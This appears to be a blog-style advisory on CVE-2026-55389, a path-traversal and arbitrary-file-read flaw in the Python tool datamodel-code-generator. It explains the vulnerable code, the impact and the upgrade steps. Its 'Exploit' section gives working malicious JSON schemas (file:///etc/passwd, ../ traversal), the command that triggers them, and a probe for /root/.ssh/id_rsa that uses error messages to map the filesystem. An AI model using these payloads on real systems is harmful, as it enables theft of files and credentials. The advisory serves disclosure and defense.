Listen to this Post
How CVE-2026-55389 Works
datamodel-code-generator is a widely used Python tool that automatically generates Pydantic models, dataclasses, TypedDict, and msgspec.Struct from various input formats including OpenAPI, JSON Schema, GraphQL, Avro, Protobuf, and raw JSON/YAML/CSV.
The vulnerability resides in the JSON Schema reference resolution logic within src/datamodel_code_generator/parser/jsonschema.py. When the parser encounters a `$ref` keyword in a schema, it calls `is_url()` to determine the reference type. The `is_url()` function classifies `file://` as a valid URL alongside `http://` and `https://`, treating local file references as legitimate remote references.
Two separate code paths enable arbitrary file reads. The first path handles `file://` URIs: when `_get_ref_body_from_url()` processes a `file://` reference, it extracts the absolute path using `url2pathname()` and reads the file directly with no containment or boundary checks. An attacker can simply supply `”$ref”: “file:///etc/passwd”` to read any system file.
The second path handles relative references with `../` traversal. In _get_ref_body_from_remote(), the function constructs `full_path = self.base_path / resolved_ref` without any `is_relative_to(base_path)` validation. This allows an attacker to escape the input directory using `../` sequences, e.g., "$ref": "../../../etc/passwd".
Critically, the `–no-allow-remote-refs` security flag is completely bypassed. The remote-reference gate explicitly exempts `file://` from its checks, meaning even when `–no-allow-remote-refs` is set, `file://` references are still processed. The HTTP-local-ref branch does enforce `is_relative_to()` checks, but the filesystem branches do not.
The impact is threefold. First, arbitrary file read allows exfiltration of any file the process user can access. Second, the tool acts as a filesystem oracle: three distinguishable outcomes—successful parse, FileNotFoundError, and PermissionError—leak filesystem structure and reveal which paths exist. Third, when the referenced file contains JSON-Schema-shaped data, values in const/default/enum/description positions are emitted verbatim into the generated Python code returned to the attacker. This enables disclosure of internal schema definitions, default credentials, service-account tokens, and configuration secrets.
The flaw affects all versions prior to 0.62.0 and is patched in that release.
DailyCVE Form
Platform: Python / PyPI
Version: < 0.62.0
Vulnerability: Path Traversal (CWE-22)
Severity: High (CVSS 7.5)
date: 2026-07-28
Prediction: 2026-08-06 (already patched)
What Undercode Say
Analytics:
Check installed version pip show datamodel-code-generator | grep Version List all versions available pip index versions datamodel-code-generator Scan for vulnerable usage in project grep -r "datamodel-code-generator" requirements.txt pyproject.toml setup.py Find JSON Schema files with $ref references find . -name ".json" -o -name ".yaml" -o -name ".yml" | xargs grep -l "\$ref" Check for --no-allow-remote-refs in scripts grep -r "no-allow-remote-refs" .
Vulnerable Code Snippet (jsonschema.py):
is_url() classifies file:// as URL
def is_url(ref: str) -> bool:
return ref.startswith(("https://", "http://", "file://"))
_get_ref_body - file:// exempted from remote-ref check
if is_url(resolved_ref):
if not resolved_ref.startswith("file://") and self.http_local_ref_path is None:
if self.allow_remote_refs is False:
raise Error(...) <-- skipped for file://
return self._get_ref_body_from_url(resolved_ref)
_get_ref_body_from_url - no containment check
if ref.startswith("file://"):
path = url2pathname(urlparse(ref).path) absolute path, anywhere
return load_data_from_path(Path(path), self.encoding)
_get_ref_body_from_remote - no is_relative_to check
full_path = self.base_path / resolved_ref ../ escapes allowed
return load_data_from_path(full_path, self.encoding)
EPSS Score: 0.36% (29th percentile)
Exploit Maturity: Proof of Concept available
Automatable: Yes
Exploit
Crafted JSON Schema (file:// absolute path):
{
"$schema": "http://json-schema.org/draft-07/schema",
"type": "object",
"properties": {
"secret": {
"$ref": "file:///etc/passwd"
}
}
}
Crafted JSON Schema (../ path traversal):
{
"$schema": "http://json-schema.org/draft-07/schema",
"type": "object",
"properties": {
"config": {
"$ref": "../../../../../../etc/passwd"
}
}
}
Crafted JSON Schema (Windows absolute path):
{
"$schema": "http://json-schema.org/draft-07/schema",
"type": "object",
"properties": {
"windows": {
"$ref": "file:///C:/Windows/win.ini"
}
}
}
Exploitation Command:
Generate models from malicious schema datamodel-codegen --input malicious_schema.json --output ./models.py The generated Python will contain contents of the targeted file cat ./models.py
Filesystem Oracle Probing:
Probe for existence of sensitive files
echo '{"$ref": "file:///root/.ssh/id_rsa"}' > probe.json
datamodel-codegen --input probe.json --output ./out.py 2>&1
Expected dict, got str/list = file exists
FileNotFoundError = missing
PermissionError = exists but unreadable
Protection
1. Upgrade immediately to version 0.62.0 or higher
pip install --upgrade datamodel-code-generator>=0.62.0
2. Verify upgrade:
pip show datamodel-code-generator | grep Version Should show 0.62.0 or higher
3. For CI/CD pipelines, pin the version:
requirements.txt datamodel-code-generator==0.62.0
4. Input validation: Never process untrusted schemas from external users. If untrusted input must be processed, sanitize all `$ref` values before passing to the generator.
5. Filesystem restrictions: Run datamodel-code-generator with the least privileged user account possible, limiting access to sensitive system files.
6. Network segmentation: Isolate code generation environments from production systems to limit potential impact.
7. Monitor for exploitation: Check logs for `FileNotFoundError` or `PermissionError` exceptions during schema processing, which may indicate probing attempts.
8. Review existing schemas: Audit all JSON Schema and OpenAPI files in your codebase for suspicious `$ref` values containing `file://` or `../` sequences.
Impact
Confidentiality Impact: HIGH – An unauthenticated attacker can read any file accessible to the process user. This includes /etc/passwd, environment variables, source code, configuration files, SSH keys, service account tokens, and internal schema definitions containing default credentials.
Integrity Impact: NONE – The vulnerability does not allow file modification or code injection.
Availability Impact: NONE – The vulnerability does not cause denial of service.
Attack Vector: NETWORK – Exploitation requires only the ability to supply a crafted schema to a vulnerable instance.
Attack Complexity: LOW – No special conditions are required.
Privileges Required: NONE – No authentication is needed.
User Interaction: NONE – The attack can be fully automated.
Scope: UNCHANGED – The vulnerable component and the impacted resource are the same.
Supply Chain Risk: As a PyPI package with over millions of downloads, datamodel-code-generator is embedded in numerous Python projects, CI/CD pipelines, and code generation platforms. Any service that accepts user-uploaded schemas or processes external OpenAPI/JSON Schema documents is vulnerable.
Real-World Scenarios:
- Multi-tenant code generation platforms – Attackers can read other tenants’ schemas and secrets
- CI/CD pipelines – Attackers can exfiltrate build secrets and source code
- API documentation generators – Attackers can read internal configuration files
- Developer workstations – Attackers can read SSH keys and local credentials
Verbatim Secret Disclosure: When referenced files contain JSON-Schema-shaped data, values inconst/default/enum/descriptionpositions are emitted verbatim into the generated Python code returned to the attacker, making secret extraction trivial.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
